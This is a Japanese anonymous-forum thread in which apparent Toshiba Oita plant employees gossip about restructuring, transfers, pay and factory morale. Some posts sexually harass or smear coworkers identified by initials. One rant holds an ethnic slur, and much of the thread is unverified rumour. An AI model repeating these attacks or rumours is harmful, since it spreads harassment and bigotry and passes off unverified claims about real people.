東芝 大分工場 『正社員』のスレ Part.2

何か盛り上がって来ましたなw

前スレ
東芝 大分工場 『正社員』のスレ
http://namidame.2ch.net/test/read.cgi/industry/1236043317/l50

ｽﾚの釣果は少々。工場の成果も少々。

http://www.toshiba.co.jp/about/ir/jp/library/er/er2009/q3/ter2009q3.pdf

売上高内訳　システムLSI
2008年度 9ヶ月累計　3475億円
2009年度 通期 3400億円

この工場　東芝のお荷物

来年の今頃は全員鳥栖滅苦になるかもわからんね。
マイクロエレクトロ二クスだしね。

また今から大痛戻らないかん
仕事もないのに
だからリストラされたんか....

>>6
北苦難民の単身赴任組か？
早く大痛に家族連れて来て大痛の仲間になろうや

>>7
>>6 ではないが俺は先ほどマンションに到着
明日からまた．．．．．

いつまで大分工場存続させる気だ！！？

一年で製品移管完了するんじゃなかのかよゴルァ！
本当は北苦から製品移管作業が下方修正の原因だな。

余計な事して傷口広げたとしか思えん。

ニュースキターっ！

http://www.nikkei.co.jp/news/sangyo/20100203ATDD020CJ02022010.html
東芝、ＮＡＮＤ型組み立て工程を三重に集約

東芝は携帯電話やデジタルカメラの記憶媒体に使うＮＡＮＤ型フラッシュメモリーの組み立て工程の
生産拠点を再編する。国内に２カ所ある拠点のうち、 2010年中をメドに福岡県の拠点を閉鎖し、三重
県四日市市の拠点に集約する。国内は技術開発・試作拠点と位置付けて開発力を強化する。同時
に、海外への組み立て工程の生産移管を加速して製造コスト削減も急ぐ。

拠点の再編は３日にも発表する。ＮＡＮＤを組み立てる子会社、東芝ＬＳＩパッケージソリューション
（福岡県宮若市、ＴＰＡＣＳ）を閉鎖する方針。福岡拠点は閉じるがＴＰＡＣＳは存続させ、東芝の四日市
工場（三重県四日市市）内に移転する。約400人は原則として四日市工場に配置転換し、福岡の生産
設備も四日市工場に移す。

大分工場ヤバいよね。
従業員が危機感なしで、完全に終わってる。

利益も出てないのに、電話で
「忙しいですよぉ〜ココは」とか、

もう、アホの自己保身しかいないみたい。

http://science6.2ch.net/test/read.cgi/infosys/1256020446/

高給取りの爺や婆をリストラしなきゃ

>>12
忙しいと言うのは単純に各課の連携が悪くて効率が悪いだけ
みんなでいがみ合って自己主張しているのは幼稚園児の喧嘩レベル

>>15
課内の連携も悪い。
この会社は、いかに他人に仕事を振るか（なすりつける）
しか考えていない輩が大半なので、仕事量の格差は広がるばかり。

>>いかに他人に仕事を振るか（なすりつける）しか考えていない輩が大半
それを『大分病』と命名する。

他工場の技術者に比べて、
自分の力で何かを成し遂げよう、という奴が大分内に少ないのは確か。
自分が何もできないのを隠すためか知らんが、他課の失敗に異常に厳しい。


何もしなかったらそりゃ失敗もないわな。

>>17
だって本当の意味で量産工場だから上から来た物を単純に流すだけ。
歩留悪ければ上に文句言うだけだから頭悪くてもやっていける。

これだけ工場全体の仲が悪けりゃ世話ないよ。作業着で統一させてみても
中身が統一してなけりゃ意味ないし。

>>18
少し訂正が必要な！
上に文句言うだけだから←下に文句言うだけだから
の間違いです
歩留まりは下のせいにする輩しかおらんｗ

>>19
とにかく責任の擦り付け合いは非常に酷だな。
下同士でも責任の擦り付け合い激しいし。とにかく連携悪し。
ついでに製造課間でも仲悪いのは何とかならんのか？

ここの事業所は人間関係最悪だｗ

まあDMなんか勘違いしてるバカばっかりだしな

特に８セのDMなんか最悪だｗ

>>20
九州の事業所の体質だよ
先ず囲いを作って他Ｇｒとの差別化を計る。それが当然だと思ってる。
で、仕事は差別化の元で不味いものは全部振る。責任押し付けてな。
だから、皆でやろうって考えがない。体裁だけ取り繕うから皆でやる
かのように公言するが、蓋開けると「やれ、それはウチの管轄外だの」
「ウチはやったことない」だので盥回し。じゃあ、皆でどうしましょうって
動きがない。「助ける助けないやってやるやってやらない貸し借り」
こういった事ぬきで物事考えられないからＴｏｔａｌ全部失敗するんだよｗ

古き悪しき縦社会の親分子分関係も蔓延してるのも悪いな。
礼儀は別として親分の周りに子分引き連れて夜の街歩く連中多すぎだｗ
面倒見てくれなんて言ってないのに面倒みちゃるなんて言わなくていいんですよｗ
面倒みちゃる言っても部下批判ばかりして前向きじゃない上司なんてイラネｗ

数年前からリーダーとしての資質を問われるような人間が多くなってる。
面倒みようともしないっていうか組織の上司って何みたいな。
Ａ評×は北九からきた人間が突然ＧＰＭ。
何したいのか何言いたいのかさっぱり分からんしこっちはいい迷惑。
40,50代だからはい上司ですというわけじゃないだろ？
大鮒にでも行けばいいのに、北九連中。

まあそう書くなよ。□Ｓ評×ってそんなに器がちっちぇえのか？□Ｓ評×も
結構基地外で細かいくせに丸投げ責任放棄の連中の巣窟じゃんか。技術部と
は名ばかりで実は製造課の技術係レベルにすぎん。

まあ鮒からいきなりＧＰＭやらＳＭが来て基地外じみた事言い始めるよりは
よっぽどマシだと思うよ。北苦の元ＳＭなんてしょっちゅう大痛に来てるじ
ゃんか？あいつ何しに来てんの？

>>25
マイル貯めるために決まってるだろ

>>26
ついでに出張手当目当てか？ボーナスカット分の回収とか？

ＳＲＰＪの次は（６セ）Ｃｌｏｓｅやな。

ＭＩで大分を潰す。まもなくCloseってことですね。

>>28
６インチは生産終息だから当然の流れだろうよ。でも大口径になったから
売れるわけでもないしなあ。

本音は大痛に人を丸ごと集めて終息させたいんちゃうか？

国内ならともかく富士通三重なら中国行きでっせ・・・。

乙。なんか本体から切り離されるの確定なん？エロイ人教えてよ。
まあ。くだらない仕事ばかりしてる上司が多すぎだからな〜。
今日もプールの工事がどうだこうだって、残業するなって言われてるのに。
残業時間にこんなメールしてる椰子が主○だよ。もう本当にバ○かと。。
この工場終わってるな、就職先間違ったorz。

>>32
とボヤク課長であった・・・

>>33
課長なわけね〜、乙。

8000億円かけ四日市に新工場

大痛　みんな解散してしまえば？
泥水なめてみろよ

やっぱアレかのー？
プリウスのブレーキ問題に使われてる半導体、東芝大痛製？
前に6ｾでセルシオ用とか言われてたの作ってたよな？
そんで問題があったとかで、エラいさんが視察にきてたよな？豊田から

>>37
プログラムの問題だろ

皆、乙。今日も○通安全委員会やらが、くだらない交通ルールの掟がどうじゃこうじゃってメール送ってくるし。
、会社潰れそうなのに、自覚あるのかと・・・orz。あと、ご参考とかの表題で、新聞の内容を部内全員に送ってくる椰子もいるし。
ほんとバ○だろ。勤○の戸○もまだいるもみたいだし。。みんなで解散！せんげんするか、社内公募で別カンパニーいくかだな。
北○の連中もあた○よわそうやし、食堂で態度でけんだよ。事務所で、チン○の
においをかいでるし。。。

北九州からの異動で部単位一括は絶対間違ってるって
送り出す前に選別すべきだよ

一部優秀かもしれんけど、大多数は使えないオヤジ
移民受け入れ→大分での生活保護は確定

あ〜あ大分も食い潰されるんだろうな

>>40
乙。長崎みたいに査定の上級ランクしかいらないっていえばいいのにな。
きた急の連中、紹介されなくても、見たらわかる。。とてもできる椰子とは
思えん。

>>40
北苦の連中は両極端。出来る奴はものすごく頑張るが、そうで無い奴はカス。
特に主務クラスでビックマウスな連中が多いのがむかつく。

難民受け入れやってあげてんのに何偉そうにしてるんだよ。

セルとコントローラだけ（四日市）異動で他は全部クビきれよｗ

四日市に集結なんだべ　大痛ヤバイじゃん。ＴＢＡＣ→爺バイス→
リストラってか　リーマン人生ああは成りたくねーべよ　一刻も早
く大痛から脱出すべ　爺の二の舞は勘弁してくれ。　

>>44
一番良いのは大痛閉鎖して全員四日市に集結する事だな。
ただし、NANDフラッシュと命を共にすると言う事になるけどよ。

爺デバイスはどっちにしても後数年で外資になるだろうから一気にリストラ加速だよ。

NANDフラッシュと命を共にするっていうけどよ。
いつまでも微細にはならないぞ。

>>46
これからS痔自体が微細化になります。

これからはヘテロジニアス構成もやり始めるんじゃね

簡単

大痛はこれからも経費の微細化を推進します

・出張しません。TV会議もしません
・物は製造がパンパンで作れません。物流そうにも流せません
・装置が壊れても修理しません
・紙はトイレットペーパーですら表裏を使います
・残業費用はカットします。人件費に関する所はカットします
・エアコンは電源を適宜切りますが、余計な放送は切りません
・人員は最小限に留めます
・足りなり人員は他の部署から拉致して来ます

乙。今日も電話しながら、チン子書いてる、きた旧からきた○さん。勘弁してよ、インキ○移りそうで、
ｶ○ﾏｳｽって噂。あと、この工場不倫地獄？。あんたが帰社したあと、女の人から電話あった。
不機嫌そうに。。俺にやつあたりしないでよ。携帯教えとけ。残業できねーし暇じゃねんだよ。
そんなことだから、トイ○にかかれるんだよ。あと、種痘君、あんたの資料意味わからんね〜。例乳の顔に変化なし？。
なんだよあれ？、１％も変わってねーぞ。あんたいったい、何年この仕事してんの？。

北九州から来た人は自分達の方が技術が上なんだみたいなプライドが高い人が多いような気がします。

潰れた工場から来てお世話になってるくらいの気持ちを持って欲しいです。

その中で５０歳くらいの主務の人がいるんだけど一日ブラブラしてるだけ。
一方的に賃下げされて意欲をなくしたと聞きました。

そんな人も単身赴任で送ってくるのは止めて欲しい。
気が付かないだろうけど周りに悪影響を与えているんですよ。

しかしながらここは相変わらず仲悪いなあ
製造課同士で仲悪い、工場間で仲悪い、課内の派閥でも仲悪い。

そんな事だから工場がうまく回らないんじゃねえのか？

>>52
自分達が逆に技術レベルが低い事に気付く良い機会なんでは？
レベル低いのは事実なんだし。

技術レベル云々は知らんが、>>52みたいな勘違い野郎が幅利かせているなら、そっちのほうが問題だな
ただの従業員がお世話するとか・・・仕事しろよ
地方工場ってこんな奴多いよなあ

潰れた工場からやって来てる連中だけではないが、50歳過ぎるときちんと仕事
している奴探す方が難しいと思う。それは大痛も一緒。

まあソニンの負の遺産の為に(NSM)に飛ばされてる連中も災難だけどさ。

http://science6.2ch.net/test/read.cgi/infosys/1256020446/701-800

人増えてるけど、派遣とかはどうすんのかな？

>>58
3月末で大量解雇でもするんじゃねえの

Ｓ痔の解体がはじまる

なにかイイニュースは無いの？

長崎にいきます

Ｓ痔は減損会計処理の対象となるだろう

減損会計処理対象はほぼ確定。ついでに不要な稼動しない固定資産は廃却。
でもって針損から人やって来るんだっけ？針損も配置転換するみたいだし。

今日、一部集めて工場長訓示があるみたいだが何かあんのか？

いよいよですか？

工場長「この工場は本日をもって無くなることになりました。カイサンー！！！」

・来期も製造応援は継続です
・来期も残業ゼロを目指します

これじゃこの工場もお先真っ暗だな

まぁ　頑張れや
所詮　人ごとだから　大痛がどうなろうと知ったこっちゃない。

>>69
まあ中の人も何か挙動がよーわかりません。
所詮新しい物を創造する工場ではありませんので。

>>70
残業ゼロとか言っても　結局超過した勤務時間を
タイムカード確認の時に　赤ペン修正してるヤツがほとんどだろ？
失念したら　製造長にこってり絞られるのに　おかしいぜ

そんなんだから　挙動もおかしくヤツも出てくるし　創造力なんて無くなっちまうんじゃねーか？

15分単位の時間外意味なし全てカット　コンマ5もカットされるし･･･

残業時間が少しでも発生すると課長から呼び出される。
とにかく残業をゼロにしろ、思いっきり多ければフレックスでとっとと帰れ。
深夜時間はつけるな。

そこまでしてサビ残増やしたいんかい。

時間外を減らして人件費を抑制すると言いながら必要以上に派遣を入れている
12SE、何考えてるの？。

現場のOPですら無駄に多いと思ってるのに事務所でパソコンばかり見て
直接現場を見ないから分からないんだろ、12SEの船頭頭達。

他課や外部を当てにしないでC金を使えよ、煙草休憩が多いんだから

>>74
歩留悪いからいっぱい物作る為に奴隷が必要なので派遣で賄います。
どっちにしても来期にはばっさりカットするかも知れないからどうするんだろうね。

現場は瀕死状態だな
凍死場　大痛滅亡までのカウントダウンが加速してますぜｗｗｗ

>>76
・減らした人員は補填しません
・減らした人員は他から赤紙で招待して奴隷の様に使います
・生産ロットは増やします
・ロットコストを劇的に下げます
・余剰設備は使える物は使いまわします
・間接費は下げます
・残業も休日出勤も原則ご法度です

こんな事言ってる段階でもう工場自体が崩壊してるよ。

大分閉鎖して四日市だけで十分だよ
思わないか？

どうなるのかな･･･

四日市には金を突っ込むだろうが大分に金は突っ込まんだろう。
最後はシステムLSI放棄して大分難民として四日市に送られるかもしれん。

そろそろ大分から四日市への難民大移動ありそう。

大分から臼杵への大移動がある鴨

>>82
四日市でも臼杵でも　煙たがられる事になるだろうな
大痛は　お荷物ですよ(・∀・)ニヤニヤ

四日市に行けるならまだマシ。永久的に単身赴任かもしれんが。
というかね。残業ゼロの前に、裁量性外していいやついるだろ。
みんな知ってるか？。裁量性の人と一般人は、１０万円は
月給違うこと・・・。オオイタノ半分が裁量性ということは。
１０万円×２０００人としても、どれだけよ。

大分工場のXデーは、いつ？

12月25日

裁量外されると大変だぞ
最初から裁量になれん人がいたけど確かに基準が曖昧
組合にも相当文句が出たけど言われる方もどうしていいか分からない
仕事にやる気は関係ないけどもう死んだも同然
こんな人が増えると職場はどうなる？

>>87
今期から裁量はずされた。ありえんほどの減額。上からは、ボーヌスで換金するから、
年収は変わらんといわれたけど。そんなわけないし。外すの良いけど、
基準があいまいすぎるでしょ。明らかに自分より仕事できない人間、そんな責任ある
仕事やってる人間でもないし。基準を明確にしてほしいわ。
厳しいときは、みんな一緒に一致団結がんばろうとかいうけど、おんなじ仕事・
責任持たされてるのに年収で百万違ったら。。。本当、やってられんよね。

東芝のイケメンオヤジのアナルを掘りたいのですが、どうしたらいいでしょうか？

大分は岩○の仕事引き取ってしばらく安泰じゃないの？取られた方は東芝専属派遣会社みたいになってる。
四日市・大分は安泰かと思ったが、何だかここもキビシーそうだね！？

2月の給料から厚生年金とか保険がすげー上がってるんだけどwwwwwwwwwww
どうなってんのｙｐ？

イケメンでオヤジってナニ？、ダレ？。
(**セ)のNとかかな、本人は自覚してるっぽいけど。
根性はクソ悪いぞ。

大分に来たらどうにかなるとか言ってたけどナンもならんかったなぁ
俺らってやはり、つるもとに騙されたんよね
もう戻れないな、さようなら

会社の犬だから、受け入れるしかない。これが現実。

８背のＨ田クンのアナルきぼんぬ

>>93
個人名を挙げて晒すのは厳禁だと言う事に気づかんとは愚か。
英評技の北苦転勤組ってすぐばれちゃうのに。

北苦難民って馬鹿ばっかだなw

８背のＰＭの�d田クンのアナルきぼんぬ

１２SEのイカリンが暴走してる模様、四帰りはエリートなんだと。

倒死場大痛はブラック企業で、ＤＱＮだらけ。

>>98大痛の田舎以外で仕事しただけで有頂天か。

ふぅ〜、ヤレヤレだぜ。

イカリンは四でブイブイ言わせてたみたいね。
確かに四行ってたメセの人は仕事が早いな。再発も早いけど。
OPで行って、帰ってLEってクチも多いよね。実際そーゆー人ってどーなの？
四はエリートねぇ〜　ふぅ〜ん

ヤレヤレだぜ

四に行くと人間から機械の身体に変わるから仕事は速くなるよ。
その代償として人間で無くなるので挙動不審になるけどな。

久しぶりに来てみたらえらい変わりようだな〜
年初に大痛の未来は明るいって書き込みしてたバカは息してんのかな？

まだ規制中？

現場はフル稼働させないといけないのに残業ゼロだからつながんない。
で人足りないから製造応援はやめません。

どこまで馬鹿なんだよこの工場は。

８背Ａ助のアナルきぼんぬ

尾々板の未来は明るいに決まってんじゃん。
うちの事務所ののほほんぶりを見てみやがれい。

転職を考えてます。

3ピは来期はさらに増産らしい、でもねDMをはじめとして事務所の方々はPCの画面で
数字を見るだけ。

CRに入らないから現場の現実なんてわからない。

まあ、実際働いてるのは製造装置だからPCのモニターで
一日中状況を見てる（監視してる）のは仕事と言えなくも無い。

給料に見合うかは相当疑問だが。

4月以降の人事も派手にいじくってるがあれはお上に対するパフォーマンスか？
あんまり混ぜくりまくると工場自体が機能不全に陥るぞ。

まあ今も十分機能不全だがw

馬鹿長ついに隕石けっていしましたｗｗｗ

>>112
辞任 or 左遷??

この会社の人達ってなすりつけのプロだね！！仕事じゃないね！！しかしこれも仕事かな
12SE　茄子なんて人を怒るのが仕事みたいでね！！怒ってもどうしようもないのに
かわいそうなのはM/K達だね　茄子のわがままほとほとあきれるネ

日曜朝からサザエさん症候群
大痛に来て半年
まだまだ流浪の旅は続く
いつか安心院の山に突っ込むかも.....

>112

８背？６背？

>>112

大漁ﾎﾞﾂの隕石？

>>113
左遷？なら降格が妥当だけど降格人事がめったに無い会社だから…　安泰なんだよなこれが

>>116
今は控えとこう　だって本人が言ってるんだから

>>117
大漁の定義がむずいでもS痔の存続を危ぶむ損害は間違いない

歩留まり改善されなきゃ　存続の意味なし
さっさと解散してしまえばイイ

四に移民してしまえば無問題

マジで使えない主務と参事ばかり増えてんな。
現場はシックハックしてるのに見て診ぬ不利ばっかし

何もやらなくて口だけで数字合わせに大変だね
根気も数字合わせでごまかすんだろうね
無理やりコスト削減達成だな！！

みんなで損益改善の為に頑張ろう！
でも頑張るって言うのは残業減らして給料減らす事か？

定時間日でも無いのに定時で帰れとかマジうぜえ。
仕事へらさずどうやって定時で帰るんだ？

>>121
とりあえず引継ぎだけキッチリやって　トラブル系の始末は次班に全部被ってもらう
残業つかないんだったら　これくらい屁でもなかろう

歩留上げようにもどうしていいか分からない
それが今の技術部
トラぶっても何を言っていいか分からない
それが今の管理職

管理職いうか名誉職だな

技術部をいろんな事業所から連行して来ても製造応援に送ってしまう。

新しい文化を取り入れると言いながら大痛のルールを固持する。

ノーツDBよりもエクセルのワークシート。

技術部も製造部も仲が悪い。

権力を持った人はほぼ皆暴君と化す。

何かとあればすぐに金の話しかしない。

教育は多いが中身が無い。



こんなんじゃ大痛もダメっしょ。

お、わかってるじゃん！

権力言うても大したことないのにね

部長以上になる人はほんの一部
ＧＰＭ降りた人は惨事かTSSCとなって隅で小さくなってるけど
挨拶しても目も合わさんw

久しぶりにスレ読んでいます。
>>84
初めて知りました。裁量性って…。勉強になります。LEも5万ほど違うと聞きましたが…。
そういった事を知ると、まじめに仕事している人はバカバカしくなって、更にやる気がなくなる。
デフレスパイラルに似たような感じに…。

久しぶりに、読んでいます。
>>84
初めて知りました。裁量性って…。LEも5万くらい違うと聞きましたが…。
そういった事を知ると、下で支えているまじめな人たちは、やる気なくすよね…。
有期や派遣の優秀な人を採用して、ぬるま湯につかっている人たちは切ってしまって…。
そうすれば、(大分)も利益出せるんじゃない？

大幅な人事異動が始まる。
まさに断末魔だな。

12seのleの仕事は事務所でコーヒー飲みながら携帯で釣りゲームをして
充電を繰り返し、ｱﾁｺﾁの端末に進入して個人情報を盗み見てそれを自慢げに話すこと。

昼間はそれが出来ないからCRに入ってるけど煙草休憩の繰り返し。

それがLEの [ 豊かな価値を創造する ] ってえ仕事なんじゃ！

知ってた？

待遇いい上にヒマもてあましててイイなー。

人事異動はどんな感じ？
いい方向に変わるのかな

まだ北苦待機中

いまだ目処がたたんけど

>>127.128
乙。裁量性の基準が曖昧すぎなのに、１０万／月の差は大きい。年収にしたら、
とんでもない。使えない裁量性の主務かき集めて同じグループにしてる。なんか
本部から実習できたような人（主務）も、まったく使えないのに、裁量性。
会議だと他課にビクビクして、プロセスも知らない。当然、判断力もなく、
大勢で会議に参加してる。あと裁量性は、もともと２０ｈぐらいの残業代＋
技術料？みたいなものをつけて、フレックス制と差をつてける。
裁量性で、ほぼ毎日定時で帰ってる人は、裁量性の資格なし！フレックスに
しろ！と、部長が噂しているの嗅ぎ付けたら、慌てて、それなりに
残業してる始末。まじでやってらんない。毎日、今日は定時日です！
定時推奨日です！って、無意味な鳥の声はうるさい。
残業代１ｈの重みをわかってほしい！って言われてもね〜。
裁量性外したら、どんだけお金残るのよ！？と思う俺はおかしいかね？
長文すまそ。。。

１２背は時間外を抑制する前に派遣や契約社員を抑制するべき、無駄に人が多すぎ。

ﾒｾは装置の面手を外部に丸投げしないで自分達でするべき、座ってる時間が長すぎ。

裁量の範囲の無い裁量制。
フレキシブルで無いフレックス制。
人が足りないのを補充する為に間接応援を要求する製造。
それに安易に屈する労組。
仕事は減らないのに定時になるとうざいアナウンス。

仕事とお金はさびしんぼう。
あるところに寄り集まる。

>>135 12瀬ホント馬鹿。
本気になりゃ人は集めれるだろーが、6背とかボロでいい加減な仕事する人間集めたくないってのもほんねじゃね？

ﾒｾも馬鹿。12背は特にひどいね！なんかありゃメーカー呼ぶんだから「何かあったときキーパー」で普段はR`nさせときゃいいのに。

今は派遣も請け負いも増やせない。
他事業所の応援も結局は金が掛かる。だから大痛内で何とかしろ。
その結果間接人員から応援を出す事しか出来ない。

今度工場長変わるから何とかしてくんないと困るぜ。

非常に厳しい現状を理解してみんなシゴトしているんか
製造応援のいい加減な人選　ストレス数値が最高値になっている事を上は知っているのか　うつ病になりそうな予備軍が大勢いるぞー

とっとと北苦閉鎖して余剰人員を足りない製造にぶち込まんか！
本当だったらもう北苦の製造は全部大痛の奴隷になっとらんといかんのだが。

爺デバイスの臼杵送りも全然進んでおらんじゃないか。

向上長、変わるって事は貧乏くじを引かされたって事だね。

たしか前の向上長は本社に戻った後、セミコンとは全く関係ない子会社に行ったし。

北苦の製造は受け入れ可能だけど残りの間接は使えんよ

品管とかおじおば多いし

奴隷にもならん

単なる重石、船が沈むかもしれん
だからこそ余剰なんだろうけどね

>>142
乙。前？本社にいるでしょ。
まあ、最近も、下らないポケットハンド禁止だとか。どっかの棟が工事中
だから注意しろとか、交通安全教育とか、毎日安全唱和とか気楽な事やってるし、
緊迫感まったくね〜よ。こんな工場、本体からきられるても仕方なしだわああ。
。来年は、爺デバイス大分テック前工程ですにかわるね。その後は、アムコ大分
テック！。

ポケットハンド禁止もそうだけどスローガン多すぎ。共産圏かよw

交通安全教育、毎日のラジオ体操＋安全唱和。こんな事やってる段階でアホ。
教育の内容も実務に即さない物ばかり。

ついでに昼のアナウンスも定時のアナウンスもうざい。
そんな暇あるんだったらもうちょっと仕事しようぜ。

>>144-145
一応、野暮だと思うからつっこんでおくが、
ポケットハンド禁止と交通安全教育と毎日安全唱和は
大分だけじゃなくて四日市もやっているっつーか、
そこは東芝全工場共通。

アナウンスも割と多いのはどこも多いのは同じだし、
ラジオ体操に近いものはどこの工場でもある。

流石にお前らちょっと被害妄想多すぎてﾜﾗｴﾅｲ。
っつーかそういうところに文句言うなら
最初から本社入社にすれば経営側目指せばよかったのに。

ちなみに北苦はラジオ体操は強制ではないし、安全唱和はやってない。昼礼なんかのスピーチも無駄なので廃止。
アナウンスも大痛の様に頻繁にないし安全教育なんてやってない。ついでに技術部は作業着の着用義務も無い。
定時日に変な音楽も鳴らさない。

さすが大分にしかいないと他の所がわからんだろう。田舎で燻ってるだけだからw

北苦の製造は全部大痛の奴隷？
大痛の製造は全部四日市の奴隷？
四日市の製造は全部本社の奴隷？

>>148
大痛って面白れえよなあ。

製造の人が足りないのに長崎に人を出し。
製造の人が足りないのに四日市に出す。
製造の人が足りないので間接部門から連行する。
製造の人が足りないので本部管轄は実習と称して連行する。
上からは金が掛かるから大痛内で何とかしろと言われている。

人のバランス悪いから6セ、8セ、12セは合体させれば??

がんばれ！
株主より

「やる気」家で簡単に測定、５月に発売。

ttp://www.yomiuri.co.jp/science/news/20100314-OYT1T00004.htm

まずは社員を測定しろよ　ｗ　　やる気ある奴なんていねぇから　ｗ

今度の工場長は北九の工場長だね、4月以降北九移民の扱いが変わるかな？。

工場長交替で製造応援廃止とか？

>>146
乙。全社共通でやってる事だから、何？正当化したい？。意味わからん。
言いたいのは、潰れそうな会社でそんな事やってる余裕あるのって
いいたいんだよ。しかも、それしかしてない椰子いるんだぞ。お前、
今までそういう事しかやってない。バ○だろ。

間接費が上がった最大の理由は転勤者の単身赴任手当やら社宅補助だろ。
・転勤者は大抵が借上げ社宅だから家賃負担は住宅補助より厚い。
・単身者は当然単身赴任手当は毎月支給。京浜地区からの転勤だと更に高い。
・人が増えるだけ事業所内の人件費が増える。
・でも設備はそう簡単に移管出来ない。

一年間で拠点統合のシナリオが完全に崩れてるので拠点統合のメリットが無い。
これを企画した人のMI-PJが見てみたいもんだ。

北苦移転は進めるのかな

本当だったら今月終息の予定だった
作り溜め終わった時、今以上の異動となる
７００人規模っていうから

現状の負担どころの話しじゃないよね

>>156
700人のうち200人ぐらいは終わってるから残り500人って所かぁ。
これだけ異動になったら社宅補助とか単身赴任手当とか赴任手当だけでも莫大になる。

現状の負担だけじゃ当然済まないっしょ。住宅確保だけでも大騒動になる。
去年の今頃だって大騒動だったじゃん。

>>153
製造応援はもうすぐ終わります。

が、４月以降は間接を一度TSSCに出向させて、そこからまた現場に送り込みます。

>>146
反論は？お待ちしてるんですが。

キャノンの派遣を当てにして作ったAPが沢山空いてるから住む所は余裕で
確保出来るでしょ、数年前は日鉄の社宅まで借りてたし。

住む場所よりも会社の駐車場が無い、死亡事故以降2輪車通勤は許可が出難いし。

四日市組も全員、御帰還らしいし、あと一年だな、Ｓ事も！

>>135
12背は昔から、無駄が多すぎ!!
「1分1秒無駄に、出来んのぞっ!!」と言いながら、肝心な所を全く管理していない…。
「うっそ!!ここ、管理してないの!!」面倒見きれんわぁ!!
だから、それを管理する人にまた人を捕られ…。捕虜がいくらあっても足りん!!
他の課が知ったら、そおとお怒るだろうなぁ。
あっ、すっかり忘れてた12背って、「完全自動化」じゃ、なかったっけ!!
自動化担当の立場があるので、あえて言わなかったんだけど…。
CR事務所に、引きこもってて何をやってんだろ？まぁ、いっかぁ。
「完全自動化」にまったく期待していないので…。

>>146
乙。もしっ！もーしっ！反論まだ？。東芝全工場でやっているのを
知ってるんだから、全工場いったんでしょーか？。相当な経験ですね。
是非、経験不足で被害妄想の強い無知な私にご教授願います。

>>149
乙。長崎に人ださなきゃいけなのは、たぶん、ソニンの人の人件費高いから
だと思うよ。だから、おおいたから人だして、ソニンの人を減らして。
人件費削減したいのかと。たぶんね。

そしておおいたのひとをそのまま社外の人扱いにしてやっかいばらいしたいのです

>>162　自動化はもうされてるでしょ。どのレベルの？ってのはあるけど。
後はトラブルの連絡でも来るまでモニター眺めてぼんやりしてれば
いいんですのよん。それらしくマウスだけ動かしながら。

完全自動化とかしたら、そーゆー暇つぶし仕事が無くなって
それこそ汗かいて働かないといけなくなるんで、ぜえーったい
ムリムリムリッ！。

だって、電話とメールと会議だけで給料もらってる存在自体が
無駄なんだから。

12セの歩留が悪いのは暇こいてる馬鹿連中が多いからなのか？
先端技術も大痛のアホどもに掛かればダメになるって事だな。

ウェっハーにはタップリ濃厚な息をかけてありますでっす

>>166

会社のHPに愚痴書いてるTD氏の事？。

他人を馬鹿に出来る人が本当に一杯いたら、
世界に負けないのにねえ。。。

>>170　違うけど、えっ、なにそんなヒトいるの？？。

>>166 あえて、言うならOPがいないレベル。
エルピーダは、「完全自動化」と聞いたけど、ガセネタなのかな？
OPが要らなければ、その分の人をメンテやLEに持ってきて歩留対策などに…。
捕虜した技術部を元の職場で新品種の開発、条件出しなどに…。
そしたら、12背の変な書き込みも少なくなるんじゃないかなぁ？

4/1付けで諫早行きがあるって聞いてたんだけど、現場から行くのかな？

全く話を聞かないけど。

>>173
自動化とか出来てない(やってない)のに、とりあえずOP減らして
こんなに効果ありました、とかやってるんで今のザマ。
おかげでメンテやLEに負担がかかって改善が進まない。割とうまく
行ってる所は逆に人が余ってる。どーかしてる。

たぶん、完全自動化とか本当はどーでもいいただのスローガン。
マジだったらもっと手間も金もかけて真剣にやってる。

俺らってまだここに来なくても良かったんじゃない？

今北苦に残ってる人はそのまま異動なしってよ
半年でもう挫けそう
あ〜ああ〜あもう

言わんこっちゃない、てな感じ。

転籍して半年も経つのにまだうだうだ言ってんのか？
会社辞めればいつでも北苦に戻れるぞ。

>>176
かわいそうだが、我慢してくれ。
大分は他工場と比べると何やらしても駄目駄目だけど。。。環境わるいよね〜

北級の人員は多数が四に行きます。
大分の人員も四か長崎に多数行きます。
九州に居れるアナタはラッキー？？
大分に居れるアナタはラッキー？？？

さて、いつ発表するかな。。。

20年近く働いて森町に念願の一戸建て買ったのに四に逝けってか？

そんな境遇の人　結構いるよ..

地下鉄サリン事件でオウムをかばい、破防法を適用しなかった村山(大分県民)。

阪神淡路で6000人殺し、「温泉街ｗ」と笑った村山と筑紫(大分県民)。

経済をどん底に落とし込んだ御手洗(大分県民)。

Google日本を波に乗せられず潰しかけた村上(大分県民)。

キムチ臭いトリニータ(大分県)。

日教組の総本山

教員試験で縁故者にゲタを履かせる大分県

「全国カルト対策大学ネットワーク」に　全　く　参加したがらない大分県の大学

はぁ〜あ、また仕事か、よだきぃなあ。
ホントよだきい。

これから間接人員効率20%アップします。
20%アップとは仕事減らさず間接人員を20%減らす事です。

どこまで馬鹿なんだ？

今まで何回効率アップって言われただろう

いい加減な指標ばかり作らされた
こんなんどうやって目標決めるかわからんかったけど

>間接人員を20%減らす
なるほど、この通りですねw

今度はどうやってこれを達成するんかな

効率アップしたら自分が20％の対象になるとわかってて
だれもやらないでしょう。

技術部は裁量性ばかりなん？

女性スタッフはフレックスいうても楽勝っていうし

現場はきついだけやな

ＴＡＫＥ　ＡＣＴＩＯＮ

「キタ」から「痛」への大移動は一旦凍結とのこと

こっちが先に切られるとは思わんかった

まあこんなにヒマじゃあね。

毎日これでキューリョウくれるんだからいい会社だよ。
20％削減ハンターイ！

4/1からの削減切りどこから人・賃金て言うかA空気悪りー誰も笑わん苦情メールで直訴か仕事せんか　
きつねが多い

タヌキです

Ｄ痔・Ｓ痔の本体からの切り放しは、決定？

>>193
乙。今年は無いみたい。今年が正念場かも。借金するなよ。
あなたじゃないけど、はやく○返してよ。嫁にちくるぞ。
By○○○の帝王。

最近平和やなぁ

淡々と時間が過ぎていく

週休３日にすればいいのに
週末の往復がきつくなってきた

>>195
北苦難民で仕事の出来ない奴が何言ってる？
はやく会社辞めれば週休７日になるぞw

東芝社員清算会社、爺デバイスの片道切符貰えばいいよｗ

>>197
当初は片道切符だったけど、復路分の切符が配布される事に。

>>198
乙。ごめん。いみわからないんだけど。
あと。あなたじゃないけど、お○を返せ。嫁もわかってるっぽいけど、
無視か？。いい加減にしろよ。バ○○が痩せても誰も振りむかね〜。

乙。さて、今日も安全唱和いきますよ。
1.お○と気持ちに余裕をもつ。
2.人に借りたお○は必ず返す。
3.お○に困っても、人に身内話はしない。
4.キャッシングは、しない。
5.仕事中、人にちょっかいは、ださない。

何セの話し？興味津々

